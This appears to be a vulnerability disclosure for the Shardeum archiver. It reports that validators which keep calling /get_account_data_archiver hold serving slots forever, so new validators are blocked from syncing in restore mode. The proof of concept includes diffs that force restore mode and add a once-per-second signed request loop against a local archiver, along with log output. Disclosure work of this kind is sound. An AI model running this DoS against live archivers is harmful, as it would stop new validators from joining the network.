Temporarily disabling user to access target site, such as:
Locking up the victim from login
Cookie bombing, etc.
RPC API crash affecting projects with greater than or equal to 25% of the market capitalization on top of the respective layer
Description
Brief/Intro
The /get_account_data_archiver endpoint exposed by public archivers can be taken down by a couple of validators (10 to be exact). This is crucial for syncing to the network and will prevent validators from participating in the network in restore mode.
if (!NodeList.byPublicKey.has(nodePublicKey)) {
return { success: false, error: 'This node is not found in the nodelist!' }
}
if (!servingValidators.has(nodePublicKey) && servingValidators.size >= config.maxValidatorsToServe) {
return {
success: false,
error: 'Archiver is busy serving other validators at the moment!',
}
}
if (accountStart.length !== 64 || accountEnd.length !== 64 || accountStart > accountEnd) {
return { success: false, error: 'Invalid account range' }
}
If a validator makes a successful request to the /get_account_data_archiver endpoint, it will be included in the servingValidators map. This seems to be a kind of rate-limiting strategy because this endpoint may be quite expensive to respond to for the archiver. The issue is that while the account gets correctly added to this map, it is implicitly whitelisted forever given that it keeps spamming this endpoint, since it is already in the servingValidators map and that the last queried time will be overwritten every time: Making this DOS attack easy to carry and predictable because it doesn't require to hammer endpoints.
So if the validator calls this endpoint frequently enough, it will never be cleared from the map:
Finally, if the amount of validators being in this map exceeds the maxValidatorsToServe (which is 10 by default), any new validator will be denied with the error response "Archiver is busy serving other validators at the moment!".
Impact Details
Because no other validator can call the /get_account_data_archiver endpoint, nodes which are just firing up will be prevented from syncing to the network if the network is in restore mode.
To understand why, let's walk backwards the call to this endpoint in the @shardeum/core repo.
The URL is built here.
Then, it is used to call the getAccountDataFromArchiver function.
The call would likely not throw if the archiver is up, but the success flag will be set to false and will contain the expected error message Archiver is busy serving other validators at the moment!. Meaning that we go in this branch.
In the case of the POC, we only have up one archiver so when calling the retryWithNextArchiver function, we never go in the throw branch but instead keep calling this function in a loop, which might be undesired behavior since the code seem to mean that it should retry a limited amount of times before failing on a fatal error.
So, if the network is currently in restore mode, it only takes 10 validators by default to take down the /get_account_data_archiver of every archiver in the network and make the syncing from archivers impossible.
References
Links attached when applicable.
Proof of Concept
Proof of Concept
Prerequisites
Choose a directory on your system.
Clone these repos under the same root:
Make sure that the network starts and stays in restore mode.
diff --git a/src/p2p/Modes.ts b/src/p2p/Modes.ts
index d1a5634e..e8d41c1e 100644
--- a/src/p2p/Modes.ts
+++ b/src/p2p/Modes.ts
@@ -12,7 +12,8 @@ import { logFlags } from '../logger'
/** STATE */
let p2pLogger: Logger
-export let networkMode: P2P.ModesTypes.Record['mode'] = 'forming'
+// export let networkMode: P2P.ModesTypes.Record['mode'] = 'forming'
+export let networkMode: P2P.ModesTypes.Record['mode'] = 'restore'
/** ROUTES */
/*
@@ -108,64 +109,66 @@ export function updateRecord(
return
}
+ record.mode = 'restore';
+
if (prev) {
- // if the modules have just been swapped last cycle
- if (prev.mode === undefined && prev.safetyMode !== undefined) {
- if (hasAlreadyEnteredProcessing === false) {
- record.mode = 'forming'
- } else if (enterProcessing(active)) {
- record.mode = 'processing'
- } else if (enterSafety(active)) {
- record.mode = 'safety'
- } else if (enterRecovery(active)) {
- record.mode = 'recovery'
- }
- // for all other cases
- } else {
- record.mode = prev.mode
-
- if (prev.mode === 'forming') {
- if (enterProcessing(active)) {
- record.mode = 'processing'
- }
- } else if (prev.mode === 'processing') {
- if (enterShutdown(active)) {
- record.mode = 'shutdown'
- } else if (prev.mode === 'processing') {
- if (enterShutdown(active)) {
- record.mode = 'shutdown'
- } else if (enterRecovery(active)) {
- record.mode = 'recovery'
- } else if (enterSafety(active)) {
- record.mode = 'safety'
- }
- } else if (prev.mode === 'safety') {
- if (enterShutdown(active)) {
- record.mode = 'shutdown'
- } else if (enterRecovery(active)) {
- record.mode = 'recovery'
- } else if (enterProcessing(active)) {
- record.mode = 'processing'
- }
- } else if (prev.mode === 'recovery') {
- if (enterShutdown(active)) {
- record.mode = 'shutdown'
- } else if (enterRestore(active + prev.syncing)) {
- record.mode = 'restore'
- }
- } else if (prev.mode === 'shutdown' && Self.isFirst) {
- record.mode = 'restart'
- } else if (prev.mode === 'restart') {
- // Use prev.syncing to be sure that new joined nodes in the previous cycle have synced the cycle data before we trigger the `restore` mode to start syncing the state data
- if (enterRestore(prev.syncing)) {
- record.mode = 'restore'
- }
- } else if (prev.mode === 'restore') {
- if (enterProcessing(active)) {
- record.mode = 'processing'
- }
- }
- }
+ // // if the modules have just been swapped last cycle
+ // if (prev.mode === undefined && prev.safetyMode !== undefined) {
+ // if (hasAlreadyEnteredProcessing === false) {
+ // record.mode = 'forming'
+ // } else if (enterProcessing(active)) {
shardeum/archiver
To make our job easier, disable the rate limit and make it such as the 10 validators would be constantly spamming this endpoint. We will do it separately.
Check logs and look again until the network started syncing.
shardus pm2 "logs 2 --lines 100"
Wait about 15 minutes until the syncing process started, check the logs again
You should observe that the logs keep spamming with
getAccountDataFromArchiver result {
success: false,
error: 'Archiver is busy serving other validators at the moment!'
}
These logs seem to be never ending, the code loops and the validator will never be able to sync the network.
DOS of the archiver
Since we know that the attack works while the archiver is in a DOS state, let's now DOS it!
shardeum/core
diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index 47059f7d..86e04ff3 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -93,6 +93,7 @@ import SocketIO from 'socket.io'
import { nodeListFromStates, queueFinishedSyncingRequest } from '../p2p/Join'
import * as NodeList from '../p2p/NodeList'
import { P2P } from '@shardeum-foundation/lib-types'
+import * as http from '../http'
// the following can be removed now since we are not using the old p2p code
//const P2P = require('../p2p')
@@ -620,6 +621,11 @@ class Shardus extends EventEmitter {
} catch (e) {
this.mainLogger.error('Socket connection break', e)
}
+
+ setInterval(async () => {
+ await this.spamArchiver();
+ }, 1000);
+
this.network.on('timeout', (node, requestId: string, context: string, route: string) => {
const ipPort = `${node.internalIp}:${node.internalPort}`
//this console log is probably redundant but are disabled most of the time anyhow.
@@ -1040,6 +1046,29 @@ class Shardus extends EventEmitter {
this.setupDebugEndpoints()
}
+ async spamArchiver() {
+ const dataSourceArchiver = {
+ ip: "127.0.0.1",
+ port: 4000
+ };
+ const accountDataArchiverUrl = `http://${dataSourceArchiver.ip}:${dataSourceArchiver.port}/get_account_data_archiver`
+ try {
+ const message = {
+ accountStart: '0000000000000000000000000000000000000000000000000000000000000000',
+ accountEnd: 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff',
+ tsStart: 0,
+ maxRecords: 200,
+ offset: 0,
+ accountOffset: '0000000000000000000000000000000000000000000000000000000000000000',
+ }
+ const payload = this.crypto.sign(message)
+ const result = await http.post(accountDataArchiverUrl, payload, false, 10000)
+ console.log('getAccountDataFromArchiver result', result)
+ } catch (error) {
+ console.error('getAccountDataFromArchiver error', error)
+ }
+ }
+
/**
* Function used to register event listeners
* @param {*} emitter Socket emitter to be called
shardeum/archiver
diff --git a/src/Config.ts b/src/Config.ts
index b172278..2f7af65 100644
--- a/src/Config.ts
+++ b/src/Config.ts
@@ -157,7 +157,7 @@ let config: Config = {
sendActiveMessage: false,
globalNetworkAccount:
process.env.GLOBAL_ACCOUNT || '1000000000000000000000000000000000000000000000000000000000000001', //this address will change in the future
- maxValidatorsToServe: 10, // max number of validators to serve accounts data during restore mode
+ maxValidatorsToServe: 5, // max number of validators to serve accounts data during restore mode
limitToArchiversOnly: true,
verifyReceiptData: true,
verifyReceiptSignaturesSeparately: true,
New validators should not be able to call this endpoint and it will return an error since it's being spammed by the first 5 validators.
